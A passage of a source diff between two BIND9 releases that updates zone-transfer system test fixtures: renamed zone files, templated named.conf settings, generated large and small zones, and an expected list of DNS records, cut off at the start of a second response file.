https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 5 - -@ IN SOA ns1 hostmaster 1 3600 3600 3600 3600 -@ NS ns1 -ns1 A 10.53.0.1 -a01 A 1.1.1.1 -a02 A 255.255.255.255 - diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns1/ixfr-too-big.db bind9-9.20.21/bin/tests/system/xfer/ns1/ixfr-too-big.db --- bind9-9.20.18/bin/tests/system/xfer/ns1/ixfr-too-big.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns1/ixfr-too-big.db 2026-03-13 22:01:10.768875205 +0000 @@ -0,0 +1,18 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 3600 +@ IN SOA . . 0 0 0 0 0 +@ IN NS ns1 +@ IN NS ns6 +ns1 IN A 10.53.0.1 +ns6 IN A 10.53.0.6 +$GENERATE 1-25 host$ A 1.2.3.$ diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns1/ixfr-too-big.db.in bind9-9.20.21/bin/tests/system/xfer/ns1/ixfr-too-big.db.in --- bind9-9.20.18/bin/tests/system/xfer/ns1/ixfr-too-big.db.in 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns1/ixfr-too-big.db.in 1970-01-01 00:00:00.000000000 +0000 @@ -1,18 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 3600 -@ IN SOA . . 0 0 0 0 0 -@ IN NS ns1 -@ IN NS ns6 -ns1 IN A 10.53.0.1 -ns6 IN A 10.53.0.6 -$GENERATE 1-25 host$ A 1.2.3.$ diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns1/named.conf.j2 bind9-9.20.21/bin/tests/system/xfer/ns1/named.conf.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns1/named.conf.j2 2026-01-09 13:39:28.221975865 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns1/named.conf.j2 2026-03-13 22:01:10.768875205 +0000 @@ -36,17 +36,12 @@ file "root.db"; }; -zone "secondary" { - type primary; - allow-transfer { 10.53.0.1; 10.53.0.2; 10.53.0.6; 10.53.0.7; }; - file "sec.db"; -}; - -zone "edns-expire" { +{% if enable_only_axfr_max_idle_time | default(False) %} +zone "axfr-max-idle-time" { type primary; - file "edns-expire.db"; + file "axfr-max-idle-time.db"; }; - +{% else %} zone "axfr-min-transfer-rate" { type primary; file "axfr-min-transfer-rate.db"; @@ -57,14 +52,21 @@ file "axfr-max-transfer-time.db"; }; -zone "axfr-max-idle-time" { +zone "axfr-rndc-retransfer-force" { type primary; - file "axfr-max-idle-time.db"; + file "axfr-rndc-retransfer-force.db"; }; -zone "axfr-rndc-retransfer-force" { +{% if enable_some_zones | default(True) %} +zone "secondary" { type primary; - file "axfr-rndc-retransfer-force.db"; + allow-transfer { 10.53.0.1; 10.53.0.2; 10.53.0.6; 10.53.0.7; }; + file "sec.db"; +}; + +zone "edns-expire" { + type primary; + file "edns-expire.db"; }; zone "xot-primary-try-next" { @@ -92,3 +94,5 @@ type primary; file "dot-fallback.db"; }; +{% endif %} +{% endif %} \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns2/mapped.db bind9-9.20.21/bin/tests/system/xfer/ns2/mapped.db --- bind9-9.20.18/bin/tests/system/xfer/ns2/mapped.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns2/mapped.db 2026-03-13 22:01:10.769875173 +0000 @@ -0,0 +1,28 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +mapped. 3600 IN SOA . . 0 0 0 2147483647 0 +example.aa. 3600 IN A 1.2.3.4 +example1.aa. 3600 IN A 1.2.3.4 +example.bb. 3600 IN A 1.2.3.4 +example1.bb. 3600 IN A 1.2.3.4 +example.com. 3600 IN A 1.2.3.4 +example1.com. 3600 IN A 1.2.3.4 +bar.dd. 3600 IN A 1.2.3.4 +foo.ee. 3600 IN A 1.2.3.4 +foo.ff. 3600 IN A 1.2.3.4 +foo.gg. 3600 IN A 1.2.3.4 +foo.hh. 3600 IN A 1.2.3.4 +foo.ii. 3600 IN A 1.2.3.4 +foo.jj. 3600 IN A 1.2.3.4 +foo.kk. 3600 IN A 1.2.3.4 +foo.ll. 3600 IN A 1.2.3.4 +mapped. 3600 IN NS . diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns2/mapped.db.in bind9-9.20.21/bin/tests/system/xfer/ns2/mapped.db.in --- bind9-9.20.18/bin/tests/system/xfer/ns2/mapped.db.in 2026-01-09 13:39:28.222975891 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns2/mapped.db.in 1970-01-01 00:00:00.000000000 +0000 @@ -1,28 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -mapped. 3600 IN SOA . . 0 0 0 2147483647 0 -example.aa. 3600 IN A 1.2.3.4 -example1.aa. 3600 IN A 1.2.3.4 -example.bb. 3600 IN A 1.2.3.4 -example1.bb. 3600 IN A 1.2.3.4 -example.com. 3600 IN A 1.2.3.4 -example1.com. 3600 IN A 1.2.3.4 -bar.dd. 3600 IN A 1.2.3.4 -foo.ee. 3600 IN A 1.2.3.4 -foo.ff. 3600 IN A 1.2.3.4 -foo.gg. 3600 IN A 1.2.3.4 -foo.hh. 3600 IN A 1.2.3.4 -foo.ii. 3600 IN A 1.2.3.4 -foo.jj. 3600 IN A 1.2.3.4 -foo.kk. 3600 IN A 1.2.3.4 -foo.ll. 3600 IN A 1.2.3.4 -mapped. 3600 IN NS . diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns2/sec.db bind9-9.20.21/bin/tests/system/xfer/ns2/sec.db --- bind9-9.20.18/bin/tests/system/xfer/ns2/sec.db 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns2/sec.db 2026-03-13 22:01:10.769875173 +0000 @@ -0,0 +1,19 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +$TTL 5 + +@ IN SOA ns1 hostmaster 1 5 5 5 5 +@ NS ns1 +ns1 A 10.53.0.1 +a01 A 1.1.1.1 +a02 A 255.255.255.255 + diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns2/sec.db.in bind9-9.20.21/bin/tests/system/xfer/ns2/sec.db.in --- bind9-9.20.18/bin/tests/system/xfer/ns2/sec.db.in 2026-01-09 13:39:28.222975891 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns2/sec.db.in 1970-01-01 00:00:00.000000000 +0000 @@ -1,19 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -$TTL 5 - -@ IN SOA ns1 hostmaster 1 5 5 5 5 -@ NS ns1 -ns1 A 10.53.0.1 -a01 A 1.1.1.1 -a02 A 255.255.255.255 - diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns3/named.conf.j2 bind9-9.20.21/bin/tests/system/xfer/ns3/named.conf.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns3/named.conf.j2 2026-01-09 13:39:28.222975891 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns3/named.conf.j2 2026-03-13 22:01:10.769875173 +0000 @@ -52,7 +52,7 @@ zone "primary" { type secondary; - transfer-source 10.53.0.3 port @EXTRAPORT1@; + transfer-source 10.53.0.3 port @EXTRAPORT1@; primaries { 10.53.0.6; }; file "primary.bk"; }; diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns4/named.conf.j2 bind9-9.20.21/bin/tests/system/xfer/ns4/named.conf.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns4/named.conf.j2 2026-01-09 13:39:28.222975891 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns4/named.conf.j2 2026-03-13 22:01:10.769875173 +0000 @@ -11,6 +11,7 @@ * information regarding copyright ownership. */ +{% set ns4_as_secondary_for_nil = ns4_as_secondary_for_nil | default(False) %} options { query-source address 10.53.0.4; notify-source 10.53.0.4; @@ -49,3 +50,11 @@ type primary; file "root.db"; }; + +{% if ns4_as_secondary_for_nil %} +zone "nil" { + type secondary; + file "nil.db"; + primaries { 10.53.0.5 key tsig_key; }; +}; +{% endif %} diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns4/root.db.in bind9-9.20.21/bin/tests/system/xfer/ns4/root.db.in --- bind9-9.20.18/bin/tests/system/xfer/ns4/root.db.in 2026-01-09 13:39:28.222975891 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns4/root.db.in 1970-01-01 00:00:00.000000000 +0000 @@ -1,14 +0,0 @@ -; Copyright (C) Internet Systems Consortium, Inc. ("ISC") -; -; SPDX-License-Identifier: MPL-2.0 -; -; This Source Code Form is subject to the terms of the Mozilla Public -; License, v. 2.0. If a copy of the MPL was not distributed with this -; file, you can obtain one at https://mozilla.org/MPL/2.0/. -; -; See the COPYRIGHT file distributed with this work for additional -; information regarding copyright ownership. - -@ 0 SOA . . 0 0 0 0 0 -@ 0 NS . -@ 0 A 10.53.0.4 diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns4/root.db.j2 bind9-9.20.21/bin/tests/system/xfer/ns4/root.db.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns4/root.db.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns4/root.db.j2 2026-03-13 22:01:10.769875173 +0000 @@ -0,0 +1,20 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +{% raw -%} +@ 0 SOA . . 0 0 0 0 0 +@ 0 NS . +@ 0 A 10.53.0.4 +{% endraw -%} + +{% for i in range(10000) -%} +x@i@ 0 in a 10.53.0.1 +{% endfor %} \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns8/large.db.j2 bind9-9.20.21/bin/tests/system/xfer/ns8/large.db.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns8/large.db.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns8/large.db.j2 2026-03-13 22:01:10.770875141 +0000 @@ -0,0 +1,12 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +large IN TYPE45234 \# 48000 {% for i in range(48000) %}@"%02x" | format(i % 256)@{% endfor %} \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/ns8/small.db.j2 bind9-9.20.21/bin/tests/system/xfer/ns8/small.db.j2 --- bind9-9.20.18/bin/tests/system/xfer/ns8/small.db.j2 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/ns8/small.db.j2 2026-03-13 22:01:10.770875141 +0000 @@ -0,0 +1,15 @@ +; Copyright (C) Internet Systems Consortium, Inc. ("ISC") +; +; SPDX-License-Identifier: MPL-2.0 +; +; This Source Code Form is subject to the terms of the Mozilla Public +; License, v. 2.0. If a copy of the MPL was not distributed with this +; file, you can obtain one at https://mozilla.org/MPL/2.0/. +; +; See the COPYRIGHT file distributed with this work for additional +; information regarding copyright ownership. + +{% for i in range(4096) %} +name@i@ 259200 A 1.2.3.4 +name@i@ 259200 TXT "Hello World @i@" +{%- endfor %} \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/response1.good bind9-9.20.21/bin/tests/system/xfer/response1.good --- bind9-9.20.18/bin/tests/system/xfer/response1.good 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/response1.good 2026-03-13 22:01:10.770875141 +0000 @@ -0,0 +1,174 @@ +;ANSWER +example. 86400 IN SOA ns2.example. hostmaster.example. 1397051952 5 5 1814400 3600 +example. 3600 IN DNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRu niJDBzC7w0aRyzWZriO6i2odGWWQVucZ qKVsENW91IOW4vqudngPZsY3GvQ/xVA8 /7pyFj6b7Esga60zyGW6LFe9r8n6paHr lG5ojqf0BaqHT+8= +example. 3600 IN NS ns2.example. +example. 3600 IN NS ns3.example. +a01.example. 3600 IN A 0.0.0.0 +a02.example. 3600 IN A 255.255.255.255 +a601.example. 3600 IN A6 \# 17 00ffffffffffffffffffffffffffffff ff +a601.example. 3600 IN A6 \# 14 40ffffffffffffffff03666f6f00 +a601.example. 3600 IN A6 \# 7 7f0103666f6f00 +a601.example. 3600 IN A6 \# 2 8000 +aaaa01.example. 3600 IN AAAA ::1 +aaaa02.example. 3600 IN AAAA fd92:7065:b8e:ffff::5 +afsdb01.example. 3600 IN AFSDB 0 hostname.example. +afsdb02.example. 3600 IN AFSDB 65535 . +amtrelay01.example. 3600 IN AMTRELAY 0 0 0 . +amtrelay02.example. 3600 IN AMTRELAY 0 1 0 . +amtrelay03.example. 3600 IN AMTRELAY 0 0 1 0.0.0.0 +amtrelay04.example. 3600 IN AMTRELAY 0 0 2 :: +amtrelay05.example. 3600 IN AMTRELAY 0 0 3 example.net. +apl01.example. 3600 IN APL !1:10.0.0.1/32 1:10.0.0.0/24 +atma01.example. 3600 IN TYPE34 \# 12 013631323030303030303030 +atma02.example. 3600 IN TYPE34 \# 12 013631323030303030303030 +atma03.example. 3600 IN TYPE34 \# 9 001234567890abcdef +atma04.example. 3600 IN TYPE34 \# 9 00fedcba0987654321 +avc.example. 3600 IN AVC "foo:bar" +caa01.example. 3600 IN CAA 0 issue "ca.example.net; policy=ev" +caa02.example. 3600 IN CAA 128 tbs "Unknown" +caa03.example. 3600 IN CAA 128 tbs "" +cdnskey01.example. 3600 IN CDNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRu niJDBzC7w0aRyzWZriO6i2odGWWQVucZ qKVsENW91IOW4vqudngPZsY3GvQ/xVA8 /7pyFj6b7Esga60zyGW6LFe9r8n6paHr lG5ojqf0BaqHT+8= +cds01.example. 3600 IN CDS 30795 1 1 310d27f4d82c1fc2400704ea9939fe6e1ceaa3b9 +cert01.example. 3600 IN CERT 65534 65535 PRIVATEOID MxFcby9k/yvedMfQgKzhH5er0Mu/vILz 45IkskceFGgiWCn/GxHhai6VAuHAoNUz 4YoU1tVfSCSqQYn6//11U6Nld80jEeC8 aTrO+KKmCaY= +cname01.example. 3600 IN CNAME cname-target. +cname02.example. 3600 IN CNAME cname-target.example. +cname03.example. 3600 IN CNAME . +csync01.example. 3600 IN CSYNC 0 0 A NS AAAA +csync02.example. 3600 IN CSYNC 0 0 +dhcid01.example. 3600 IN DHCID AAIBY2/AuCccgoJbsaxcQc9TUapptP69 lOjxfNuVAA2kjEA= +dhcid02.example. 3600 IN DHCID AAEBOSD+XR3Os/0LozeXVqcNc7FwCfQd WL3b/NaiUDlW2No= +dhcid03.example. 3600 IN DHCID AAABxLmlskllE0MVjd57zHcWmEH3pCQ6 VytcKD//7es/deY= +dlv.example. 3600 IN DLV 30795 1 1 310d27f4d82c1fc2400704ea9939fe6e1ceaa3b9 +dname01.example. 3600 IN DNAME dname-target. +dname02.example. 3600 IN DNAME dname-target.example. +dname03.example. 3600 IN DNAME . +doa01.example. 3600 IN TYPE259 \# 301 499602d2499602d20109696d6167652f 67696647494638396128001900e30200 666666006699ffffff3399ccccffff99 ccff33669966ccff99cccccccccc0099 ffffffffffffffffffffffffffffffff 21f904010a000f002c00000000280019 000004c7f081492b95366b8df7ec5e68 8119299e8089ae5cbb3eb08aca1f1cdc 78008734f7e4c0db6ed3bbfc82481db1 a23a2693c554e94955962ea36ad54572 6a9352d70777380c6e8342e19c2b9b71 586cc72b109ceb78013a6fbf31e51739 750303838567850204697a7e7f52185e 01830575407848572918418675078202 a0412d3b92937d0479777da44b006ca1 b18c7a83484d12a7a8b137837504999b 73b948866b0189c8756b03c08e463549 947c6c95abcf7f36486a8805040541de 08b144da5fe71ebae74f11003b +doa02.example. 3600 IN TYPE259 \# 30 0000000000000001020068747470733a 2f2f7777772e6973632e6f72672f +ds01.example. 3600 IN DS 12892 5 2 26584835ca80c81c91999f31cfaf2a0e89d4ff1c8fafd0ddb31a85c719277c13 +ds01.example. 3600 IN NS ns42.example. +ds02.example. 3600 IN DS 12892 5 1 7aa4a3f416c2f2391fb7ab0d434f762cd62d1390 +ds02.example. 3600 IN NS ns43.example. +eid01.example. 3600 IN TYPE31 \# 3 1289ab +eui48.example. 3600 IN EUI48 01-23-45-67-89-ab +eui64.example. 3600 IN EUI64 01-23-45-67-89-ab-cd-ef +gid01.example. 3600 IN TYPE102 \# 1 03 +gpos01.example. 3600 IN GPOS -22.6882 116.8652 250.0 +hinfo01.example. 3600 IN HINFO "Generic PC clone" "NetBSD-1.4" +hinfo02.example. 3600 IN HINFO "PC" "NetBSD" +hip1.example. 3600 IN HIP 2 200100107b1a74df365639cc39f1d578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D +hip2.example. 3600 IN HIP 2 200100107b1a74df365639cc39f1d578 AwEAAbdxyhNuSutc5EMzxTs9LBPCIkOFH8cIvM4p9+LrV4e19WzK00+CI6zBCQTdtWsuxKbWIy87UOoJTwkUs7lBu+Upr1gsNrut79ryra+bSRGQb1slImA8YVJyuIDsj7kwzG7jnERNqnWxZ48AWkskmdHaVDP4BcelrTI3rMXdXF5D rvs.example.com. +https0.example. 3600 IN HTTPS 0 example.net. +https1.example. 3600 IN HTTPS 1 . port="60" +ipseckey01.example. 3600 IN IPSECKEY 10 1 2 192.0.2.38 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey02.example. 3600 IN IPSECKEY 10 0 2 . AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey03.example. 3600 IN IPSECKEY 10 1 2 192.0.2.3 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey04.example. 3600 IN IPSECKEY 10 3 2 mygateway.example.com. AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +ipseckey05.example. 3600 IN IPSECKEY 10 2 2 2001:db8:0:8002::2000:1 AQNRU3mG7TVTO2BkR47usntb102uFJtu gbo6BSGvgqt4AQ== +isdn01.example. 3600 IN ISDN "isdn-address" +isdn02.example. 3600 IN ISDN "isdn-address" "subaddress" +isdn03.example. 3600 IN ISDN "isdn-address" +isdn04.example. 3600 IN ISDN "isdn-address" "subaddress" +keydata.example. 3600 IN TYPE65533 \# 0 +keydata.example. 3600 IN TYPE65533 \# 6 010203040506 +keydata.example. 3600 IN TYPE65533 \# 18 01020304050601020304050601020304 0506 +kx01.example. 3600 IN KX 10 kdc.example. +kx02.example. 3600 IN KX 10 . +l32.example. 3600 IN L32 10 1.2.3.4 +l64.example. 3600 IN L64 10 0014:4fff:ff20:ee64 +loc01.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20.00m 2000.00m 20.00m +loc02.example. 3600 IN LOC 60 9 0.000 N 24 39 0.000 E 10.00m 20.00m 2000.00m 20.00m +lp.example. 3600 IN LP 10 example.net. +mb01.example. 3600 IN MG \# 10 076d61646e616d65c00c +mb02.example. 3600 IN MG \# 1 00 +mg01.example. 3600 IN MG \# 10 076d676d6e616d65c00c +mg02.example. 3600 IN MG \# 1 00 +minfo01.example. 3600 IN MINFO \# 20 07726d61696c6278c00c07656d61696c 6278c00c +minfo02.example. 3600 IN MINFO \# 2 0000 +mr01.example. 3600 IN MR \# 9 066d726e616d65c00c +mr02.example. 3600 IN MR \# 1 00 +mx01.example. 3600 IN MX 10 mail.example. +mx02.example. 3600 IN MX 10 . +naptr01.example. 3600 IN NAPTR 0 0 "" "" "" . +naptr02.example. 3600 IN NAPTR 65535 65535 "blurgh" "blorf" "blllbb" foo. +nid.example. 3600 IN NID 10 0014:4fff:ff20:ee64 +nimloc01.example. 3600 IN TYPE32 \# 3 1289ab +ninfo01.example. 3600 IN NINFO "foo" +ninfo02.example. 3600 IN NINFO "foo" "bar" +ninfo03.example. 3600 IN NINFO "foo" +ninfo04.example. 3600 IN NINFO "foo" "bar" +ninfo05.example. 3600 IN NINFO "foo bar" +ninfo06.example. 3600 IN NINFO "foo bar" +ninfo07.example. 3600 IN NINFO "foo bar" +ninfo08.example. 3600 IN NINFO "foo\010bar" +ninfo09.example. 3600 IN NINFO "foo\010bar" +ninfo10.example. 3600 IN NINFO "foo bar" +ninfo11.example. 3600 IN NINFO "\"foo\"" +ninfo12.example. 3600 IN NINFO "\"foo\"" +ninfo13.example. 3600 IN NINFO "foo;" +ninfo14.example. 3600 IN NINFO "foo;" +ninfo15.example. 3600 IN NINFO "bar\\;" +ns2.example. 3600 IN A 10.53.0.2 +ns3.example. 3600 IN A 10.53.0.3 +nsap-ptr01.example. 3600 IN NSAP-PTR . +nsap-ptr01.example. 3600 IN NSAP-PTR foo. +nsap01.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 +nsap02.example. 3600 IN NSAP 0x47000580005a0000000001e133ffffff00016100 +nsec01.example. 3600 IN NSEC a.secure.nil. NS SOA MX LOC RRSIG NSEC DNSKEY +nsec02.example. 3600 IN NSEC . NSAP-PTR NSEC +nsec03.example. 3600 IN NSEC . A +nsec04.example. 3600 IN NSEC . TYPE127 +openpgpkey.example. 3600 IN OPENPGPKEY AQMFD5raczCJHViKtLYhWGz8hMY9UGRuniJDBzC7w0aRyzWZriO6i2odGWWQVucZqKVsENW91IOW4vqudngPZsY3GvQ/xVA8/7pyFj6b7Esga60zyGW6LFe9r8n6paHrlG5ojqf0BaqHT+8= +ptr01.example. 3600 IN PTR example. +px01.example. 3600 IN PX 65535 foo. bar. +px02.example. 3600 IN PX 65535 . . +rkey01.example. 3600 IN TYPE57 \# 111 0000ff010103050f9ada7330891d588a b4b621586cfc84c63d50646e9e224307 30bbc34691cb3599ae23ba8b6a1d1965 9056e719a8a56c10d5bdd48396e2faae 76780f66c6371af43fc5503cffba7216 3e9bec4b206bad33c865ba2c57bdafc9 faa5a1eb946e688ea7f405aa874fef +rp01.example. 3600 IN RP mbox-dname.example. txt-dname.example. +rp02.example. 3600 IN RP . . +rrsig01.example. 3600 IN RRSIG NSEC 1 3 3600 20000102030405 19961211100908 2143 foo.nil. MxFcby9k/yvedMfQgKzhH5er0Mu/vILz 45IkskceFGgiWCn/GxHhai6VAuHAoNUz 4YoU1tVfSCSqQYn6//11U6Nld80jEeC8 aTrO+KKmCaY= +rt01.example. 3600 IN RT 0 intermediate-host.example. +rt02.example. 3600 IN RT 65535 . +sink01.example. 3600 IN TYPE40 \# 3 010000 +sink02.example. 3600 IN TYPE40 \# 6 0800029788a4 +smimea.example. 3600 IN SMIMEA 1 1 2 92003ba34942dc74152e2f2c408d29eca5a520e7f2e06bb944f4dca346baf63c1b177615d466f6c4b71c216a50292bd58c9ebdd2f74e38fe51ffd48c43326cbc +spf01.example. 3600 IN SPF "v=spf1 -all" +spf02.example. 3600 IN SPF "v=spf1" " -all" +srv01.example. 3600 IN SRV 0 0 0 . +srv02.example. 3600 IN SRV 65535 65535 65535 old-slow-box.example. +sshfp01.example. 3600 IN SSHFP 4 2 c76d8329954da2835751e371544e963efda099080d6c58dd2bfd9a316e162c83 +sshfp02.example. 3600 IN SSHFP 1 2 bf29468c83ac58ccf8c85ab7b3beb054ecf1e38512b8353ab36471fa88961dcc +svcb0.example. 3600 IN SVCB 0 example.net. +svcb1.example. 3600 IN SVCB 1 . port="60" +ta.example. 3600 IN TA \# 24 784b0101310d27f4d82c1fc2400704ea 9939fe6e1ceaa3b9 +talink0.example. 3600 IN TYPE58 \# 18 000774616c696e6b31076578616d706c 6500 +talink1.example. 3600 IN TYPE58 \# 34 0774616c696e6b30076578616d706c65 000774616c696e6b32076578616d706c 6500 +talink2.example. 3600 IN TYPE58 \# 18 0774616c696e6b32076578616d706c65 0000 +tlsa.example. 3600 IN TLSA 1 1 2 92003ba34942dc74152e2f2c408d29eca5a520e7f2e06bb944f4dca346baf63c1b177615d466f6c4b71c216a50292bd58c9ebdd2f74e38fe51ffd48c43326cbc +txt01.example. 3600 IN TXT "foo" +txt02.example. 3600 IN TXT "foo" "bar" +txt03.example. 3600 IN TXT "foo" +txt04.example. 3600 IN TXT "foo" "bar" +txt05.example. 3600 IN TXT "foo bar" +txt06.example. 3600 IN TXT "foo bar" +txt07.example. 3600 IN TXT "foo bar" +txt08.example. 3600 IN TXT "foo\010bar" +txt09.example. 3600 IN TXT "foo\010bar" +txt10.example. 3600 IN TXT "foo bar" +txt11.example. 3600 IN TXT "\"foo\"" +txt12.example. 3600 IN TXT "\"foo\"" +txt13.example. 3600 IN TXT "foo;" +txt14.example. 3600 IN TXT "foo;" +txt15.example. 3600 IN TXT "bar\\;" +uid01.example. 3600 IN TYPE101 \# 1 02 +uinfo01.example. 3600 IN TYPE100 \# 1 01 +unspec01.example. 3600 IN UNSPEC \# 1 04 +uri01.example. 3600 IN URI 10 20 "https://www.isc.org/" +uri02.example. 3600 IN URI 30 40 "https://www.isc.org/HolyCowThisSureIsAVeryLongURIRecordIDontEvenKnowWhatSomeoneWouldEverWantWithSuchAThingButTheSpecificationRequiresThatWesupportItSoHereWeGoTestingItLaLaLaLaLaLaLaSeriouslyThoughWhyWouldYouEvenConsiderUsingAURIThisLongItSeemsLikeASillyIdeaButEnhWhatAreYouGonnaDo/" +wks01.example. 3600 IN WKS 10.0.0.1 6 0 1 2 21 23 +wks02.example. 3600 IN WKS 10.0.0.1 17 0 1 2 53 +wks03.example. 3600 IN WKS 10.0.0.2 6 65535 +x2501.example. 3600 IN X25 "123456789" +zonemd01.example. 3600 IN ZONEMD 2019020700 1 1 c220b8a6ed5728a971902f7e3d4fd93adeea88b0453c2e8e8c863d465ab06cf34eb95b266398c98b59124fa239cb7eeb +zonemd02.example. 3600 IN ZONEMD 2019020700 1 2 08cfa1115c7b948c4163a901270395ea226a930cd2cbcf2fa9a5e6eb85f37c8a4e114d884e66f176eab121cb02db7d652e0cc4827e7a3204f166b47e5613fd27 +8f1tmio9avcom2k0frp92lgcumak0cad.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c 8fpns2uct7fbs643thp2b77peq77k6iu A NS SOA MX AAAA RRSIG DNSKEY NSEC3PARAM +kcd3juae64f9c5csl1kif1htaui7un0g.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c kd5mn2m20340dgo0bl7ntsb8jp4bsc7e +mr5ukvsk1l37btu4q7b1dfevft4hkqdk.example. 3600 IN NSEC3 1 0 10 d2cf0294c020ce6c mt38j6vg7s0sn5g17mcuf6iqikfuaj05 A AAAA RRSIG \ No newline at end of file diff -Nru bind9-9.20.18/bin/tests/system/xfer/response2.good bind9-9.20.21/bin/tests/system/xfer/response2.good --- bind9-9.20.18/bin/tests/system/xfer/response2.good 1970-01-01 00:00:00.000000000 +0000 +++ bind9-9.20.21/bin/tests/system/xfer/response2.good 2026-03-13 22:01:10.770875141 +0000 @@ -0,0 +1,174 @@ +;ANSWER +example. 86400 IN SOA ns2.example. hostmaster.example. 1397051953 5 5 1814400 3600 +example. 3600 IN DNSKEY 512 255 1 AQMFD5raczCJHViKtLYhWGz8hMY9UGRu 